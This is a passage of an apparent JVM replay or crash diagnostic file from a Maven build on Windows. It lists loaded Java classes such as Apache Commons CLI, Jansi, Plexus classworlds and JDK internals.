java/util/LinkedHashMap$LinkedHashIterator\ninstanceKlass org/apache/commons/cli/Parser\ninstanceKlass org/apache/maven/cli/CleanArgument\ninstanceKlass org/apache/commons/cli/OptionValidator\ninstanceKlass org/apache/commons/cli/Option$Builder\ninstanceKlass org/apache/commons/cli/Option\ninstanceKlass org/apache/commons/cli/Options\ninstanceKlass org/apache/commons/cli/CommandLineParser\ninstanceKlass org/apache/maven/cli/CLIManager\ninstanceKlass org/apache/maven/cli/logging/Slf4jStdoutLogger\ninstanceKlass sun/nio/fs/WindowsPath$1\ninstanceKlass sun/nio/fs/WindowsLinkSupport\ninstanceKlass java/util/IdentityHashMap$IdentityHashMapIterator\ninstanceKlass org/eclipse/aether/DefaultRepositoryCache\ninstanceKlass org/apache/maven/project/ProjectBuildingRequest\ninstanceKlass org/eclipse/aether/RepositoryCache\ninstanceKlass org/apache/maven/execution/DefaultMavenExecutionRequest\ninstanceKlass java/util/regex/IntHashSet\ninstanceKlass java/util/regex/Matcher\ninstanceKlass java/util/regex/MatchResult\ninstanceKlass java/util/Properties$LineReader\ninstanceKlass org/apache/maven/execution/MavenExecutionRequest\ninstanceKlass java/lang/Shutdown$Lock\ninstanceKlass java/lang/Shutdown\ninstanceKlass java/lang/ApplicationShutdownHooks$1\ninstanceKlass java/lang/ApplicationShutdownHooks\ninstanceKlass sun/net/www/protocol/jar/URLJarFileCallBack\ninstanceKlass sun/net/www/protocol/jar/JarFileFactory\ninstanceKlass sun/net/www/protocol/jar/URLJarFile$URLJarFileCloseController\ninstanceKlass java/net/URLClassLoader$2\ninstanceKlass jdk/internal/jimage/ImageLocation\ninstanceKlass org/fusesource/jansi/AnsiConsole$$Lambda$13\ninstanceKlass jdk/internal/jimage/decompressor/Decompressor\ninstanceKlass jdk/internal/jimage/ImageStringsReader\ninstanceKlass jdk/internal/jimage/ImageStrings\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass jdk/internal/jimage/ImageHeader\ninstanceKlass org/fusesource/jansi/AnsiConsole$$Lambda$12\ninstanceKlass sun/nio/ch/Util$4\ninstanceKlass org/fusesource/jansi/io/AnsiOutputStream$IoRunnable\ninstanceKlass sun/nio/ch/FileChannelImpl$Unmapper\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass sun/reflect/annotation/AnnotationParser\ninstanceKlass java/nio/channels/FileChannel$MapMode\ninstanceKlass java/nio/channels/FileLock\ninstanceKlass jdk/internal/jimage/BasicImageReader$2\ninstanceKlass sun/nio/fs/WindowsChannelFactory$2\ninstanceKlass org/fusesource/jansi/AnsiConsole$1\ninstanceKlass jdk/internal/jimage/NativeImageBuffer$1\ninstanceKlass jdk/internal/jimage/NativeImageBuffer\ninstanceKlass jdk/internal/jimage/BasicImageReader$1\ninstanceKlass org/fusesource/jansi/internal/Kernel32\ninstanceKlass jdk/internal/jimage/BasicImageReader\ninstanceKlass jdk/internal/jimage/ImageReader\ninstanceKlass jdk/internal/jimage/ImageReaderFactory$1\ninstanceKlass jdk/internal/jimage/ImageReaderFactory\ninstanceKlass java/lang/ClassLoader$NativeLibrary$Unloader\ninstanceKlass jdk/internal/module/SystemModuleFinders$SystemImage\ninstanceKlass jdk/internal/module/SystemModuleFinders$SystemModuleReader\ninstanceKlass java/lang/module/ModuleReader\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$5\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$2\ninstanceKlass jdk/internal/module/Resources\ninstanceKlass org/fusesource/jansi/internal/JansiLoader$1\ninstanceKlass org/fusesource/jansi/internal/OSInfo\ninstanceKlass org/fusesource/jansi/internal/JansiLoader$$Lambda$11\ninstanceKlass org/fusesource/jansi/internal/JansiLoader\ninstanceKlass org/fusesource/jansi/internal/CLibrary\ninstanceKlass java/util/TreeMap$Entry\ninstanceKlass java/lang/ProcessEnvironment$CheckedEntry\ninstanceKlass java/lang/ProcessEnvironment$CheckedEntrySet$1\ninstanceKlass java/lang/ProcessEnvironment$EntryComparator\ninstanceKlass java/lang/ProcessEnvironment$NameComparator\ninstanceKlass org/fusesource/jansi/io/AnsiProcessor\ninstanceKlass org/fusesource/jansi/io/AnsiOutputStream$WidthSupplier\ninstanceKlass org/fusesource/jansi/AnsiConsole\ninstanceKlass org/fusesource/jansi/Ansi$$Lambda$10\ninstanceKlass java/util/concurrent/Callable\ninstanceKlass org/fusesource/jansi/Ansi\ninstanceKlass org/apache/maven/shared/utils/logging/LoggerLevelRenderer\ninstanceKlass org/apache/maven/shared/utils/logging/MessageBuilder\ninstanceKlass org/apache/maven/shared/utils/logging/MessageUtils\ninstanceKlass java/util/regex/Pattern$CharPredicate$$Lambda$9\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/util/regex/Pattern$$Lambda$8\ninstanceKlass java/util/regex/Pattern$BmpCharPredicate$$Lambda$7\ninstanceKlass java/util/regex/CharPredicates$$Lambda$6\ninstanceKlass java/util/regex/CharPredicates\ninstanceKlass java/util/regex/Pattern$$Lambda$5\ninstanceKlass java/util/regex/Pattern$BitClass$$Lambda$4\ninstanceKlass java/util/regex/Pattern$TreeInfo\ninstanceKlass java/util/regex/Pattern$$Lambda$3\ninstanceKlass java/util/regex/Pattern$BmpCharPredicate\ninstanceKlass java/util/regex/Pattern$CharPredicate\ninstanceKlass java/util/regex/Pattern$Node\ninstanceKlass java/util/regex/Pattern\ninstanceKlass org/apache/maven/cli/CliRequest\ninstanceKlass org/codehaus/plexus/interpolation/ValueSource\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuildingRequest\ninstanceKlass org/apache/maven/building/Source\ninstanceKlass org/slf4j/Logger\ninstanceKlass org/codehaus/plexus/logging/LoggerManager\ninstanceKlass org/apache/maven/execution/ExecutionListener\ninstanceKlass org/apache/maven/eventspy/EventSpy$Context\ninstanceKlass org/codehaus/plexus/PlexusContainer\ninstanceKlass org/eclipse/aether/transfer/TransferListener\ninstanceKlass org/apache/maven/exception/ExceptionHandler\ninstanceKlass org/apache/maven/cli/MavenCli\ninstanceKlass java/net/URLClassLoader$1\ninstanceKlass java/util/TreeMap$PrivateEntryIterator\ninstanceKlass java/util/TimSort\ninstanceKlass sun/security/action/GetBooleanAction\ninstanceKlass java/util/Arrays$LegacyMergeSort\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaFormBuffer\ninstanceKlass java/lang/invoke/LambdaFormEditor\ninstanceKlass java/lang/invoke/DelegatingMethodHandle$Holder\ninstanceKlass sun/invoke/util/Wrapper$1\ninstanceKlass java/lang/invoke/DirectMethodHandle$1\ninstanceKlass java/lang/invoke/ClassSpecializer$Factory\ninstanceKlass java/lang/invoke/ClassSpecializer$SpeciesData\ninstanceKlass java/lang/invoke/ClassSpecializer$1\ninstanceKlass java/lang/invoke/ClassSpecializer\ninstanceKlass java/lang/invoke/InnerClassLambdaMetafactory$1\ninstanceKlass org/codehaus/plexus/classworlds/launcher/Configurator$$Lambda$2\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationParser$$Lambda$1\ninstanceKlass jdk/internal/org/objectweb/asm/FieldVisitor\ninstanceKlass java/lang/invoke/InfoFromMemberName\ninstanceKlass java/lang/invoke/MethodHandleInfo\ninstanceKlass java/lang/invoke/AbstractValidatingLambdaMetafactory\ninstanceKlass java/lang/invoke/MethodHandleImpl$1\ninstanceKlass jdk/internal/misc/JavaLangInvokeAccess\ninstanceKlass java/lang/invoke/Invokers$Holder\ninstanceKlass java/lang/invoke/BootstrapMethodInvoker\ninstanceKlass java/io/FilenameFilter\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass sun/reflect/misc/ReflectUtil\ninstanceKlass sun/invoke/empty/Empty\ninstanceKlass sun/invoke/util/VerifyType\ninstanceKlass java/lang/invoke/InvokerBytecodeGenerator$CpPatch\ninstanceKlass jdk/internal/org/objectweb/asm/AnnotationVisitor\ninstanceKlass jdk/internal/org/objectweb/asm/Frame\ninstanceKlass jdk/internal/org/objectweb/asm/Label\ninstanceKlass jdk/internal/org/objectweb/asm/Type\ninstanceKlass jdk/internal/org/objectweb/asm/MethodVisitor\ninstanceKlass sun/invoke/util/BytecodeDescriptor\ninstanceKlass jdk/internal/org/objectweb/asm/Item\ninstanceKlass jdk/internal/org/objectweb/asm/ByteVector\ninstanceKlass jdk/internal/org/objectweb/asm/ClassVisitor\ninstanceKlass java/lang/invoke/InvokerBytecodeGenerator$2\ninstanceKlass java/lang/invoke/InvokerBytecodeGenerator\ninstanceKlass java/lang/invoke/LambdaForm$Holder\ninstanceKlass java/lang/invoke/LambdaForm$Name\ninstanceKlass java/lang/invoke/Invokers\ninstanceKlass java/lang/invoke/MethodHandleImpl\ninstanceKlass sun/invoke/util/ValueConversions\ninstanceKlass java/lang/invoke/DirectMethodHandle$Holder\ninstanceKlass java/lang/invoke/LambdaForm$NamedFunction\ninstanceKlass java/lang/invoke/LambdaMetafactory\ninstanceKlass org/codehaus/plexus/classworlds/strategy/AbstractStrategy\ninstanceKlass org/codehaus/plexus/classworlds/strategy/Strategy\ninstanceKlass org/codehaus/plexus/classworlds/strategy/StrategyFactory\ninstanceKlass java/util/NavigableMap\ninstanceKlass java/util/SortedMap\ninstanceKlass java/util/NavigableSet\ninstanceKlass java/net/URLClassLoader$7\ninstanceKlass jdk/internal/misc/JavaNetURLClassLoaderAccess\ninstanceKlass java/util/SortedSet\ninstanceKlass sun/nio/ch/IOStatus\ninstanceKlass java/nio/DirectByteBuffer$Deallocator\ninstanceKlass sun/nio/ch/Util$BufferCache\ninstanceKlass sun/nio/ch/Util\ninstanceKlass sun/nio/ch/NativeThread\ninstanceKlass java/io/Reader\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationParser\ninstanceKlass org/codehaus/plexus/classworlds/launcher/Configurator\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationHandler\ninstanceKlass java/nio/channels/Channels\ninstanceKlass sun/nio/ch/FileChannelImpl$Closer\ninstanceKlass sun/nio/ch/NativeDispatcher\ninstanceKlass sun/nio/ch/NativeThreadSet\ninstanceKlass sun/nio/ch/IOUtil$1\ninstanceKlass sun/nio/ch/IOUtil\ninstanceKlass java/nio/channels/spi/AbstractInterruptibleChannel\ninstanceKlass java/nio/channels/InterruptibleChannel\ninstanceKlass java/nio/channels/ScatteringByteChannel\ninstanceKlass java/nio/channels/GatheringByteChannel\ninstanceKlass java/nio/channels/SeekableByteChannel\ninstanceKlass java/nio/channels/ByteChannel\ninstanceKlass java/nio/channels/WritableByteChannel\ninstanceKlass java/nio/channels/ReadableByteChannel\ninstanceKlass java/nio/channels/Channel\ninstanceKlass java/util/Collections$EmptyIterator\ninstanceKlass sun/nio/fs/WindowsChannelFactory$Flags\ninstanceKlass sun/nio/fs/WindowsChannelFactory$1\ninstanceKlass sun/nio/fs/WindowsChannelFactory\ninstanceKlass sun/nio/fs/WindowsSecurityDescriptor\ninstanceKlass java/nio/file/attribute/FileAttribute\ninstanceKlass java/nio/file/Paths\ninstanceKlass java/lang/PublicMethods$Key\ninstanceKlass java/lang/PublicMethods$MethodList\ninstanceKlass org/codehaus/plexus/classworlds/ClassWorld\ninstanceKlass org/codehaus/plexus/classworlds/launcher/Launcher\ninstanceKlass sun/security/util/Debug\ninstanceKlass java/security/SecureClassLoader$DebugHolder\ninstanceKlass java/io/FilePermissionCollection$1\ninstanceKlass java/security/Permissions$1\ninstanceKlass sun/security/util/FilePermCompat\ninstanceKlass java/io/FilePermission$1\ninstanceKlass jdk/internal/misc/JavaIOFilePermissionAccess\ninstanceKlass sun/net/www/MessageHeader\ninstanceKlass java/net/URLConnection\ninstanceKlass java/security/PermissionCollection\ninstanceKlass java/security/SecureClassLoader$1\ninstanceKlass java/security/SecureClassLoader$CodeSourceKey\ninstanceKlass sun/nio/ByteBuffered\ninstanceKlass java/lang/Package$VersionInfo\ninstanceKlass java/lang/NamedPackage\ninstanceKlass java/util/jar/Attributes$Name\ninstanceKlass java/util/jar/Attributes\ninstanceKlass jdk/internal/loader/Resource\ninstanceKlass java/util/zip/ZipFile$InflaterCleanupAction\ninstanceKlass java/util/zip/Inflater$InflaterZStreamRef\ninstanceKlass java/util/zip/Inflater\ninstanceKlass java/util/zip/ZipEntry\ninstanceKlass java/util/jar/JarFile$1\ninstanceKlass jdk/internal/util/jar/JarIndex\ninstanceKlass java/nio/Bits$1\ninstanceKlass jdk/internal/misc/JavaNioAccess$BufferPool\ninstanceKlass java/nio/Bits\ninstanceKlass sun/nio/ch/DirectBuffer\ninstanceKlass jdk/internal/perf/PerfCounter$CoreCounters\ninstanceKlass jdk/internal/perf/Perf\ninstanceKlass jdk/internal/perf/Perf$GetPerfAction\ninstanceKlass jdk/internal/perf/PerfCounter\ninstanceKlass java/util/zip/ZipUtils\ninstanceKlass java/util/zip/ZipFile$Source$End\ninstanceKlass sun/invoke/util/Wrapper$Format\ninstanceKlass java/lang/invoke/MethodTypeForm\ninstanceKlass java/lang/invoke/MethodType$ConcurrentWeakInternSet\ninstanceKlass java/lang/Void\ninstanceKlass java/lang/invoke/VarForm\ninstanceKlass java/lang/invoke/VarHandleGuards\ninstanceKlass jdk/internal/util/Preconditions$1\ninstanceKlass java/util/function/BiFunction\ninstanceKlass java/lang/invoke/VarHandle$1\ninstanceKlass java/lang/invoke/VarHandles\ninstanceKlass sun/invoke/util/VerifyAccess\ninstanceKlass java/lang/invoke/MethodHandles$Lookup\ninstanceKlass java/security/Permission\ninstanceKlass java/security/Guard\ninstanceKlass java/lang/invoke/MemberName$Factory\ninstanceKlass java/lang/invoke/MethodHandles\ninstanceKlass java/util/concurrent/atomic/AtomicBoolean\ninstanceKlass java/io/RandomAccessFile$2\ninstanceKlass jdk/internal/misc/JavaIORandomAccessFileAccess\ninstanceKlass java/io/RandomAccessFile\ninstanceKlass java/io/DataInput\ninstanceKlass java/io/DataOutput\ninstanceKlass java/nio/file/attribute/FileTime\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$CompletionStatus\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$AclInformation\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$Account\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$DiskFreeSpace\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$VolumeInformation\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$FirstStream\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$FirstFile\ninstanceKlass java/util/Enumeration\ninstanceKlass java/util/ArrayDeque$DeqIterator\ninstanceKlass java/lang/ClassLoader$NativeLibrary\ninstanceKlass java/lang/ClassLoader$2\ninstanceKlass java/lang/StringCoding$StringEncoder\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher$1\ninstanceKlass sun/nio/fs/WindowsNativeDispatcher\ninstanceKlass sun/nio/fs/NativeBuffer$Deallocator\ninstanceKlass sun/nio/fs/NativeBuffer\ninstanceKlass sun/nio/fs/NativeBuffers\ninstanceKlass sun/nio/fs/WindowsFileAttributes\ninstanceKlass java/nio/file/attribute/DosFileAttributes\ninstanceKlass sun/nio/fs/AbstractBasicFileAttributeView\ninstanceKlass sun/nio/fs/DynamicFileAttributeView\ninstanceKlass sun/nio/fs/WindowsFileAttributeViews\ninstanceKlass sun/nio/fs/Util\ninstanceKlass java/nio/file/attribute/BasicFileAttributeView\ninstanceKlass java/nio/file/attribute/FileAttributeView\ninstanceKlass java/nio/file/attribute/AttributeView\ninstanceKlass java/nio/file/Files\ninstanceKlass java/nio/file/CopyOption\ninstanceKlass java/nio/file/attribute/BasicFileAttributes\ninstanceKlass sun/nio/fs/WindowsPath\ninstanceKlass java/nio/file/Path\ninstanceKlass java/nio/file/Watchable\ninstanceKlass java/net/URI$Parser\ninstanceKlass java/nio/file/FileSystems$DefaultFileSystemHolder$1\ninstanceKlass java/nio/file/FileSystems$DefaultFileSystemHolder\ninstanceKlass sun/nio/fs/WindowsPathParser$Result\ninstanceKlass sun/nio/fs/WindowsPathParser\ninstanceKlass java/util/Arrays$ArrayItr\ninstanceKlass java/nio/file/FileSystem\ninstanceKlass java/nio/file/OpenOption\ninstanceKlass java/nio/file/spi/FileSystemProvider\ninstanceKlass sun/nio/fs/DefaultFileSystemProvider\ninstanceKlass java/nio/file/FileSystems\ninstanceKlass java/util/zip/ZipFile$Source$Key\ninstanceKlass java/util/zip/ZipFile$Source\ninstanceKlass jdk/internal/misc/InnocuousThread$2\ninstanceKlass jdk/internal/misc/InnocuousThread$3\ninstanceKlass jdk/internal/ref/CleanerFactory$1$1\ninstanceKlass java/lang/ref/Cleaner$Cleanable\ninstanceKlass jdk/internal/ref/CleanerImpl\ninstanceKlass java/lang/ref/Cleaner$1\ninstanceKlass java/lang/ref/Cleaner\ninstanceKlass jdk/internal/ref/CleanerFactory$1\ninstanceKlass java/util/concurrent/ThreadFactory\ninstanceKlass jdk/internal/ref/CleanerFactory\ninstanceKlass java/util/zip/ZipFile$CleanableResource\ninstanceKlass java/util/zip/ZipCoder\ninstanceKlass java/lang/Runtime$Version\ninstanceKlass java/util/jar/JavaUtilJarAccessImpl\ninstanceKlass jdk/internal/misc/JavaUtilJarAccess\ninstanceKlass jdk/internal/loader/FileURLMapper\ninstanceKlass jdk/internal/loader/URLClassPath$JarLoader$1\ninstanceKlass java/util/zip/ZipFile$1\ninstanceKlass jdk/internal/misc/JavaUtilZipFileAccess\ninstanceKlass java/util/zip/ZipFile\ninstanceKlass java/util/zip/ZipConstants\ninstanceKlass jdk/internal/loader/URLClassPath$Loader\ninstanceKlass jdk/internal/loader/URLClassPath$3\ninstanceKlass java/security/PrivilegedExceptionAction\ninstanceKlass sun/util/locale/InternalLocaleBuilder$CaseInsensitiveChar\ninstanceKlass sun/util/locale/InternalLocaleBuilder\ninstanceKlass sun/util/locale/LocaleUtils\ninstanceKlass sun/util/locale/BaseLocale$Key\ninstanceKlass sun/util/locale/BaseLocale\ninstanceKlass sun/util/locale/LocaleObjectCache\ninstanceKlass java/util/Locale\ninstanceKlass sun/net/util/URLUtil\ninstanceKlass sun/launcher/LauncherHelper\ninstanceKlass jdk/jfr/internal/EventWriter\ninstanceKlass jdk/internal/module/IllegalAccessLogger\ninstanceKlass jdk/internal/module/ModuleBootstrap$2\ninstanceKlass jdk/internal/module/IllegalAccessLogger$Builder\ninstanceKlass java/lang/ModuleLayer$Controller\ninstanceKlass java/util/HashMap$HashIterator\ninstanceKlass jdk/internal/module/ServicesCatalog$ServiceProvider\ninstanceKlass java/util/concurrent/CopyOnWriteArrayList\ninstanceKlass java/util/Collections$UnmodifiableCollection$1\ninstanceKlass java/util/Collections$UnmodifiableCollection\ninstanceKlass java/util/ArrayList$Itr\ninstanceKlass java/util/ImmutableCollections$ListItr\ninstanceKlass java/util/ListIterator\ninstanceKlass java/lang/ModuleLayer\ninstanceKlass jdk/internal/module/ModuleLoaderMap$Mapper\ninstanceKlass java/util/function/Function\ninstanceKlass jdk/internal/module/ModuleLoaderMap\ninstanceKlass java/util/ImmutableCollections$Set12$1\ninstanceKlass java/util/ImmutableCollections$MapN$MapNIterator\ninstanceKlass java/util/AbstractMap$1$1\ninstanceKlass java/lang/module/ResolvedModule\ninstanceKlass java/lang/module/Configuration\ninstanceKlass java/util/ImmutableCollections$SetN$SetNIterator\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$LoadedModule\ninstanceKlass jdk/internal/util/Preconditions\ninstanceKlass java/util/Deque\ninstanceKlass java/util/Queue\ninstanceKlass java/net/URLStreamHandler\ninstanceKlass sun/net/www/ParseUtil\ninstanceKlass java/io/ExpiringCache$Entry\ninstanceKlass java/net/URL$3\ninstanceKlass jdk/internal/misc/JavaNetURLAccess\ninstanceKlass java/net/URL$DefaultFactory\ninstanceKlass java/net/URLStreamHandlerFactory\ninstanceKlass jdk/internal/loader/URLClassPath\ninstanceKlass java/security/Principal\ninstanceKlass java/security/ProtectionDomain$Key\ninstanceKlass java/security/ProtectionDomain$JavaSecurityAccessImpl\ninstanceKlass jdk/internal/misc/JavaSecurityAccess\ninstanceKlass java/lang/ClassLoader$ParallelLoaders\ninstanceKlass jdk/internal/loader/AbstractClassLoaderValue\ninstanceKlass jdk/internal/module/ServicesCatalog\ninstanceKlass jdk/internal/loader/BootLoader\ninstanceKlass java/util/Optional\ninstanceKlass jdk/internal/module/ModuleBootstrap$Counters\ninstanceKlass jdk/internal/module/SystemModuleFinders$SystemModuleFinder\ninstanceKlass java/lang/module/ModuleFinder\ninstanceKlass jdk/internal/module/SystemModuleFinders$3\ninstanceKlass jdk/internal/module/ModuleHashes$HashSupplier\ninstanceKlass java/util/KeyValueHolder\ninstanceKlass jdk/internal/module/SystemModuleFinders$2\ninstanceKlass java/util/function/Supplier\ninstanceKlass java/lang/module/ModuleReference\ninstanceKlass jdk/internal/module/ModuleResolution\ninstanceKlass java/util/Collections$UnmodifiableMap\ninstanceKlass jdk/internal/module/ModuleHashes$Builder\ninstanceKlass jdk/internal/module/ModuleHashes\ninstanceKlass jdk/internal/module/ModuleTarget\ninstanceKlass java/lang/Enum\ninstanceKlass java/lang/module/ModuleDescriptor$Version\ninstanceKlass java/lang/module/ModuleDescriptor$Provides\ninstanceKlass java/lang/module/ModuleDescriptor$Opens\ninstanceKlass java/lang/module/ModuleDescriptor$Exports\ninstanceKlass java/util/ImmutableCollections\ninstanceKlass java/lang/module/ModuleDescriptor$Requires\ninstanceKlass jdk/internal/module/Builder\ninstanceKlass jdk/internal/module/SystemModules$default\ninstanceKlass jdk/internal/module/SystemModules\ninstanceKlass jdk/internal/module/SystemModulesMap\ninstanceKlass java/net/URI$1\ninstanceKlass jdk/internal/misc/JavaNetUriAccess\ninstanceKlass java/net/URI\ninstanceKlass jdk/internal/module/SystemModuleFinders\ninstanceKlass jdk/internal/module/ModulePatcher\ninstanceKlass java/io/ExpiringCache\ninstanceKlass java/io/FileSystem\ninstanceKlass java/io/DefaultFileSystem\ninstanceKlass java/io/File\ninstanceKlass java/lang/module/ModuleDescriptor$1\ninstanceKlass jdk/internal/misc/JavaLangModuleAccess\ninstanceKlass java/lang/module/ModuleDescriptor\ninstanceKlass jdk/internal/module/ModuleBootstrap\ninstanceKlass java/lang/CharacterData\ninstanceKlass sun/security/action/GetPropertyAction\ninstanceKlass java/lang/invoke/MethodHandleStatics\ninstanceKlass java/lang/System$2\ninstanceKlass jdk/internal/misc/JavaLangAccess\ninstanceKlass sun/io/Win32ErrorMode\ninstanceKlass jdk/internal/misc/OSEnvironment\ninstanceKlass java/lang/Integer$IntegerCache\ninstanceKlass jdk/internal/misc/Signal$NativeHandler\ninstanceKlass java/util/Hashtable$Entry\ninstanceKlass jdk/internal/misc/Signal\ninstanceKlass java/lang/Terminator$1\ninstanceKlass jdk/internal/misc/Signal$Handler\ninstanceKlass java/lang/Terminator\ninstanceKlass java/nio/charset/CoderResult\ninstanceKlass java/lang/Readable\ninstanceKlass java/nio/ByteOrder\ninstanceKlass java/nio/Buffer$1\ninstanceKlass jdk/internal/misc/JavaNioAccess\ninstanceKlass java/nio/charset/CharsetEncoder\ninstanceKlass sun/nio/cs/ArrayEncoder\ninstanceKlass java/io/Writer\ninstanceKlass java/io/OutputStream\ninstanceKlass java/io/Flushable\ninstanceKlass java/io/FileDescriptor$1\ninstanceKlass jdk/internal/misc/JavaIOFileDescriptorAccess\ninstanceKlass java/io/FileDescriptor\ninstanceKlass java/lang/VersionProps\ninstanceKlass jdk/internal/util/StaticProperty\ninstanceKlass java/util/concurrent/ConcurrentHashMap$MapEntry\ninstanceKlass java/util/concurrent/ConcurrentHashMap$Traverser\ninstanceKlass java/util/Iterator\ninstanceKlass java/lang/reflect/Array\ninstanceKlass java/util/Collections$SynchronizedCollection\ninstanceKlass java/util/List\ninstanceKlass java/util/RandomAccess\ninstanceKlass java/util/Collections\ninstanceKlass java/util/concurrent/ConcurrentHashMap$CollectionView\ninstanceKlass java/util/Properties$EntrySet\ninstanceKlass java/lang/StringCoding$Result\ninstanceKlass java/nio/charset/CodingErrorAction\ninstanceKlass java/nio/charset/CharsetDecoder\ninstanceKlass sun/nio/cs/ArrayDecoder\ninstanceKlass sun/nio/cs/DelegatableDecoder\ninstanceKlass java/lang/StringUTF16\ninstanceKlass sun/nio/cs/DoubleByte\ninstanceKlass java/lang/StringCoding$StringDecoder\ninstanceKlass java/lang/ThreadLocal$ThreadLocalMap\ninstanceKlass java/lang/StringCoding\ninstanceKlass java/util/HashMap$Node\ninstanceKlass jdk/internal/reflect/Reflection\ninstanceKlass java/lang/Class$1\ninstanceKlass java/lang/reflect/ReflectAccess\ninstanceKlass jdk/internal/reflect/LangReflectAccess\ninstanceKlass java/lang/reflect/Modifier\ninstanceKlass java/lang/Class$Atomic\ninstanceKlass java/lang/Class$ReflectionData\ninstanceKlass java/nio/charset/StandardCharsets\ninstanceKlass sun/nio/cs/HistoricallyNamedCharset\ninstanceKlass java/lang/Math\ninstanceKlass java/util/Arrays\ninstanceKlass java/lang/ThreadLocal\ninstanceKlass java/nio/charset/spi/CharsetProvider\ninstanceKlass java/nio/charset/Charset\ninstanceKlass java/lang/StringLatin1\ninstanceKlass jdk/internal/misc/VM\ninstanceKlass jdk/internal/misc/SharedSecrets\ninstanceKlass java/lang/ref/Reference$1\ninstanceKlass jdk/internal/misc/JavaLangRefAccess\ninstanceKlass java/lang/ref/ReferenceQueue$Lock\ninstanceKlass java/lang/ref/ReferenceQueue\ninstanceKlass jdk/internal/reflect/ReflectionFactory\ninstanceKlass java/util/concurrent/locks/LockSupport\ninstanceKlass java/util/concurrent/ConcurrentHashMap$Node\ninstanceKlass java/util/Map$Entry\ninstanceKlass java/util/concurrent/ConcurrentHashMap$CounterCell\ninstanceKlass java/util/concurrent/locks/ReentrantLock\ninstanceKlass java/util/concurrent/locks/Lock\ninstanceKlass java/lang/Runtime\ninstanceKlass java/util/concurrent/ConcurrentMap\ninstanceKlass java/util/AbstractMap\ninstanceKlass java/security/cert/Certificate\ninstanceKlass jdk/internal/reflect/ReflectionFactory$GetReflectionFactoryAction\ninstanceKlass java/security/PrivilegedAction\ninstanceKlass java/util/Objects\ninstanceKlass java/util/AbstractCollection\ninstanceKlass java/util/Set\ninstanceKlass java/util/Collection\ninstanceKlass java/lang/Iterable\ninstanceKlass java/security/AccessController\ninstanceKlass java/lang/String$CaseInsensitiveComparator\ninstanceKlass java/util/Comparator\ninstanceKlass java/io/ObjectStreamField\ninstanceKlass java/lang/Number\ninstanceKlass java/lang/Character\ninstanceKlass java/lang/Boolean\ninstanceKlass java/util/concurrent/locks/AbstractOwnableSynchronizer\ninstanceKlass java/lang/LiveStackFrame\ninstanceKlass java/lang/StackFrameInfo\ninstanceKlass java/lang/StackWalker$StackFrame\ninstanceKlass java/lang/StackStreamFactory$AbstractStackWalker\ninstanceKlass java/lang/StackWalker\ninstanceKlass java/nio/Buffer\ninstanceKlass java/lang/StackTraceElement\ninstanceKlass java/security/CodeSource\ninstanceKlass jdk/internal/loader/ClassLoaders\ninstanceKlass java/util/jar/Manifest\ninstanceKlass java/net/URL\ninstanceKlass java/io/InputStream\ninstanceKlass java/io/Closeable\ninstanceKlass java/lang/AutoCloseable\ninstanceKlass jdk/internal/module/Modules\ninstanceKlass jdk/internal/misc/Unsafe\ninstanceKlass java/lang/AbstractStringBuilder\ninstanceKlass java/lang/Appendable\ninstanceKlass java/lang/AssertionStatusDirectives\ninstanceKlass java/lang/invoke/MethodHandleNatives$CallSiteContext\ninstanceKlass java/lang/invoke/CallSite\ninstanceKlass java/lang/invoke/MethodType\ninstanceKlass java/lang/invoke/LambdaForm\ninstanceKlass java/lang/invoke/MethodHandleNatives\ninstanceKlass java/lang/invoke/ResolvedMethodName\ninstanceKlass java/lang/invoke/MemberName\ninstanceKlass java/lang/invoke/VarHandle\ninstanceKlass java/lang/invoke/MethodHandle\ninstanceKlass jdk/internal/reflect/CallerSensitive\ninstanceKlass java/lang/annotation/Annotation\ninstanceKlass jdk/internal/reflect/FieldAccessor\ninstanceKlass jdk/internal/reflect/ConstantPool\ninstanceKlass jdk/internal/reflect/ConstructorAccessor\ninstanceKlass jdk/internal/reflect/MethodAccessor\ninstanceKlass jdk/internal/reflect/MagicAccessorImpl\ninstanceKlass java/lang/reflect/Parameter\ninstanceKlass java/lang/reflect/Member\ninstanceKlass java/lang/reflect/AccessibleObject\ninstanceKlass java/lang/Module\ninstanceKlass java/util/Dictionary\ninstanceKlass java/util/Map\ninstanceKlass java/lang/ThreadGroup\ninstanceKlass java/lang/Thread$UncaughtExceptionHandler\ninstanceKlass java/lang/Thread\ninstanceKlass java/lang/Runnable\ninstanceKlass java/lang/ref/Reference\ninstanceKlass java/security/AccessControlContext\ninstanceKlass java/security/ProtectionDomain\ninstanceKlass java/lang/SecurityManager\ninstanceKlass java/lang/Throwable\ninstanceKlass java/lang/System\ninstanceKlass java/lang/ClassLoader\ninstanceKlass java/lang/Cloneable\ninstanceKlass java/lang/Class\ninstanceKlass java/lang/reflect/Type\ninstanceKlass java/lang/reflect/GenericDeclaration\ninstanceKlass java/lang/reflect/AnnotatedElement\ninstanceKlass java/lang/String\ninstanceKlass java/lang/CharSequence\ninstanceKlass java/lang/Comparable\ninstanceKlass java/io/Serializable\nciInstanceKlass java/lang/Object 1 1 92 7 10 10 10 10 8 10 10 10 10 100 8 10 3 8 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 7 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 12 12 7 12 12 1 12 7 12 12 12 1 1 12 1 12 